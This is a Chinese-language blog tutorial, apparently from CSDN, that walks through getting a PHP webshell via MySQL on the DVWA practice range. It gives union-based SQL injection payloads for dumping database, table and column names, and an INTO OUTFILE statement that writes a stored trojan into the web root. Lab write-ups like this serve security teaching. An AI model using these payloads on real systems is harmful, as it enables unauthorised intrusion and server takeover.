MySQL获取PHP webshell

在渗透测试中,希望通过MySQL获取webshell需要满足以下几个条件:

1、对web目录有写权限

2、GPC关闭(是否对单引号进行转义)

3、知道服务器的绝对路径

4、secure-file-priv为打开的状态

至少要满足以上4个条件,才能顺利通过MySQL获取webshell

接下来,为了能够模拟出渗透这一个过程,使用dvwa靶场来进行模拟(当然相比于真正的时间,中间会省略很多过程)

首先打开dvwa靶场,他是搭建在本地的靶场,数据库和代码均保存在本地服务器中。这里我使用的是phpstudy集成环境,使用navicat作为数据库的视图工具

当然在实战过程中是不知道这些信息的,这里只是提前做一个演示 

为了方便起见,就将安全级别设置为low,方便爆库。

首先判断是否存在注入点,输入1点击查询能查询出结果;输入 ' 发生报错说明这里存在注入点

输入 

' or ' ' = '

对SQL语句进行拼接(这里不做过多解释,SQL注入详见:初识SQL注入初识SQL盲注),爆出Firstname和Surname的所有信息。猜测字段数为2,使用order by,输入

1' order by 2 #

说明存在两个字段,再使用联合查询,输入

1' union select 1,2 #

所以我们知道字段1内容会显示在1的位置,字段2内容会显示在2的位置。那么可以通过SQL注入的方法来注出一些有用的信息

爆库名及版本信息

1' union select database(),version() #

 

 爆当前用户

1' union select 1,user() #

 

爆所有数据库名

1' union select 1,schema_name from information_schema.schemata #

爆其中一个数据库dvwa的表名

1' union select 1,table_name from information_schema.tables where table_schema=database() #

爆users表的字段

1' union select 1,column_name from information_schema.columns where table_name = 'users' #

 获取webshell,首先要知道目录(这里不展示目录了),可以使用语句

1' union select 1,@@datadir# 

为了获取webshell,还需要数据库开启secure_file_priv,这个需要手动配置(当然在实战中需要数据库已经开启secure_file_priv,这里为了效果就手动开)。找到数据库安装目录下的my.ini,添加

 secure_file_priv=

ctrl+s保存,然后重启MySQL(一定要记得重启) 

在数据库命令行中输入

show variables like '%secure%'; 

若如上图所示为空则表示已经开启,如果为NULL说明MySQL没有重启。

还需要满足对表有插入的权限,在实战中这里涉及到提权,将权限提升至root,这里无法演示就直接在数据库插入一句话木马

然后进行导出的操作,输入

SELECT avatar FROM users WHERE user_id='6' into outfile "G:\php\phpstudy\PHPTutorial\WWW\webshell.php";

查看服务器下已经有webshell这个文件

现在使用菜刀连接

成功获取webshell,可以进行任意操作

成功通过MySQL获取webshell。

实战中情况会复杂很多,这里只做简单的演示。总的来说就是先将一句话木马存至数据库中,再将这个字段导出为PHP文件至服务器目录下,通过菜刀连接。至于数据库的信息和权限需要分别通过爆库和提权来实现。

发布了18 篇原创文章 · 获赞 38 · 访问量 5051

猜你喜欢

转载自blog.csdn.net/qq_43592364/article/details/104027784